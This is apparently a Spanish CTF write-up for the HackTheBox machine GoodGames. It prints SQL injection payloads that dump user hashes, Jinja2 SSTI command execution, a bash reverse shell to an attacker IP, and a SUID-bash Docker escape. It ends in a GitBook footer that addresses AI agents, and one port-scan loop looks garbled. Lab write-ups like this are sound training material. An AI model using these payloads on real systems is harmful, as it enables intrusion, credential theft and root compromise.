> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md). # Guía de HackTheBox GoodGames Guía de la máquina HackTheBox GoodGames Fácil Linux que cubre explotación de inyecciones SQL basadas en unión, cracking de hashes con algoritmos débiles, reutilización de contraseñas, explotación de SSTI, con enumeración práctica, explotación {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Explotación de inyecciones SQL basadas en UNION * Cracking de hashes de algoritmos débiles * Reutilización de contraseñas * Explotación de SSTI * Conceptos básicos de escapes de Docker {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.
**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.
**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts ```
**Análisis de puertos abiertos con extractPorts:** Use la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80)
Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p80 10.10.11.130 -oN targeted ```
Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:
**Búsqueda de directorios:** Usamos Gobuster para buscar directorios en el sitio: ```bash gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265 ``` Encontramos un directorio de registro.
## Vulnerabilidad de inyección SQL: Usando **Burp Suite**, podemos interceptar la solicitud, lo que nos permite probar la inyección SQL.
### Inyección SQL básica: Para eludir la autenticación con una inyección simple, usamos: ```bash admin ' or 1=1-- - ```
Este tipo de inyección obliga a que la condición sea siempre verdadera (`1=1`), lo que permite acceder al panel de administración eludiendo las comprobaciones de credenciales.
### Inyección basada en UNION Con una **SQL basado en UNION** inyección, intentamos determinar el número de columnas para estructurar las consultas de una manera compatible con la base de datos. Ejemplo: ```bash admin' union select 1,2,3,4-- - ``` El servidor devuelve una respuesta que indica "inicio de sesión exitoso", mostrando que hay 4 columnas.
#### Listar bases de datos Para listar el nombre de la base de datos actual, usamos: ```bash admin' union select 1,2,3,database()-- -&password=admin ```
Luego, para obtener todas las bases de datos disponibles: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin ``` {% endcode %} Resultado: `information_schema`, `main`
#### Listar tablas Después de identificar la `main` base de datos, listamos las tablas de esta base de datos para explorar las estructuras almacenadas: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - ``` {% endcode %} Tablas encontradas: `blog`, `blog_comments`, `users`.
Listar las columnas de una tabla Para la `users` tabla, listamos las columnas disponibles: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- - ``` {% endcode %} Columnas encontradas: `correo electrónico`, `id`, `nombre`, `contraseña`.
#### Extracción de datos de usuarios Luego extraemos los datos de la `users` tabla: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- - ``` {% endcode %} USUARIO: `Admin` CORREO ELECTRÓNICO: `admin@goodgames.htb` CONTRASEÑA (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`
### Descifrado de contraseñas Puedes usar **CrackStation** para descifrar el hash MD5 obtenido y recuperar la contraseña en texto plano. {% embed url="" %}
## Vulnerabilidad SSTI: ### Acceso a un subdominio Para acceder a un subdominio de administrador descubierto, añádelo al `/etc/hosts` .
Finalmente, con las **admin** credenciales, puedes autenticarte en este subdominio. `admin:superadministrator`
En el subdominio encontrarás una **Configuración** pestaña donde puedes editar la información del usuario administrador (nombre completo, fecha de nacimiento y teléfono).
Si en el formulario de "nombre completo" intentas ejecutar un ataque SSTI, el servidor es vulnerable. Para probar esto con `{{ }}`, vamos a intentar ver si interpreta el cálculo: ```python {{1+1}} ```
A continuación, ejecutaremos comandos (por ejemplo, `id`): ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` Descubrimos que está en el `root` grupo.
Crearemos una shell inversa para acceder al servidor ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }} ``` Escuchamos en el puerto 443 en nuestra máquina atacante: ```bash nc -nlvp 443 ```
### **Bandera: user.txt** :)
## Escalada de privilegios: Una vez que tengas acceso al servidor Linux, estos son los comandos que debes ejecutar para trabajar en la terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` Esto te permitirá trabajar mucho más eficientemente y, sobre todo, más cómodamente. ### Escape de Docker: Observamos que la dirección IP no es la de la máquina (IP de la máquina: 10.10.11.130; IP del contenedor Docker: 172.19.0.2).
Escanearemos los puertos manualmente, ya que `nmap` no está instalado en la puerta de enlace (172.19.0.1): ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ``` Observamos que el puerto 22 está abierto (internamente), así que podemos conectarnos por SSH. ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ```
Si intentamos iniciar sesión con la cuenta root usando la contraseña `superadministrator` no podemos iniciar sesión, pero con `augustus` logramos obtener una shell.
### Bash SUID desde Docker Como en el contenedor Docker somos root, copiaremos el binario bash del host normal de la máquina al directorio personal de `augustus`: ``` cp /bin/bash . ```
Desde el root de Docker, autorizaremos al grupo root para este archivo bash y los permisos SUID para que se ejecute como root: ```bash chown root:root bash chmod 4777 bash ``` Volvemos a SSH y vemos: `-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`
### **Bandera root obtenida :)** `./bash -p`
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.